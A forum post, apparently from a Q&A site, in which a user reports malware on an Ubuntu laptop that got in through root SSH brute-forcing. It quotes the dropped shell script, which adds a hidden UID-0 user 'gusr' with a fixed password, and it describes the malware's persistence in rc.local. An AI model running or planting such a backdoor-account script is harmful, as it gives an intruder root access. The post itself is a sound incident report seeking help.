I am fairly certain that my Ubuntu 13.10 laptop is infected with some sort of malware.
Every once in a while, I find a process /lib/sshd (owned by root) running and consuming lots of cpu. It is not the sshd server which runs /usr/sbin/sshd.
The binary has --wxrw-rwt permissions and it generates and spawns scripts in the /lib directory. A recent one is named 13959730401387633604 and it does the following
#!/bin/sh exec 1>/dev/null exec 2>/dev/null useradd -g 0 -u 0 -o gusr echo gusr:chaonimabi123456123 | chpasswd
The gusr user was created by the malware independently, and then the chpasswd hangs while consuming 100% cpu.
So far, I've identified that the gusr user was additionally added to files in /etc/
/etc/group /etc/gshadow /etc/passwd /etc/shadow /etc/subgid /etc/subuid
It seems like the malware made copies of all these files with the "-" suffix. The full list of /etc/ files that were modified by root is available here.
In addition, the /etc/hosts file was changed to the this.
The /lib/sshd starts by adding itself to the end of /etc/init.d/rc.local file!
I've removed the user, removed the files, killed the tree of processed, changed my passwors and removed the ssh public keys.
I am aware that I am basically screwed, and I will most likely reinstall the whole system. Nevertheless, since I login to several other machines, it would be good to at least attempt to remove it, and figure out how I got it. Any suggestions on how to go about this would be appreciated.
It seems like they got in on March 25 by brute-forcing root login. I had no idea that root ssh is enabled by default in Ubuntu. I disabled it and put up denyhosts.
The login was from 188.8.131.52, somewhere in Hong Kong apparently.
I got the laptop from EmperorLinux, and they enabled root access. If you have one of those and you're running sshd beware.